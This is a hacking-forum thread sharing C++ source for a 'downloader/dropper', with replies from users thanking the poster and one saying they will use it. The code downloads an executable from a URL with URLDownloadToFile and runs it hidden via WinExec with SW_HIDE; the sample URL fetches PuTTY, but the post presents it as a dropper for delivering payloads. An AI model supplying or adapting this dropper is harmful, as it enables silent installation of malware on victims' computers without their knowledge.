ALERT!
Click here to register with a few steps and explore all our cool stuff we have to offer!
Home
Upgrade
Credits
Help
Search
Awards
Achievements
 5244

SOURCE | C++ Simple Downloader

by 991z3r0 - 08-30-2017 - 08:36 PM
#1
This is a very simple straight forward downloader/dropper source i found posted on another forum. I have compiled and modified it to my needs and it works great if you just need something simple and native.


Code:
#include "stdafx.h"
#include <windows.h>
#include <urlmon.h>
#pragma comment(lib, "urlmon.lib")
using namespace std;

DWORD cb;
DWORD dwFlags;
WORD wShowWindow;
STARTUPINFO StartupInfo;

int main()
{
   StartupInfo.cb = sizeof(STARTUPINFO);
   StartupInfo.dwFlags = STARTF_USESHOWWINDOW;
   StartupInfo.wShowWindow = SW_HIDE;

   HRESULT hr = URLDownloadToFile(NULL, _T("https://the.earth.li/~sgtatham/putty/latest/w64/putty.exe"), _T("Putty.exe"), 0, NULL);
   WinExec("Putty.exe", SW_HIDE);

   return 0;
}
[Image: CNJn1BC.jpg]
Reply
#2
Thx you My fired
Reply
#3
nice one bro.....
Reply
#4
oh good idea bro, i'll use this
This account is currently banned
Ban reason: Leeching and Spamming is not allowed
Reply
#5
Not a bad release, THanks for sharing!
Reply
#6
Omg thanks for sharing. I searched for something like this in a long time :D
Reply
#7
im trying to learn c++ its really difficult but this is good to learn from i appreciate it
Reply

Users browsing: 1 Guest(s)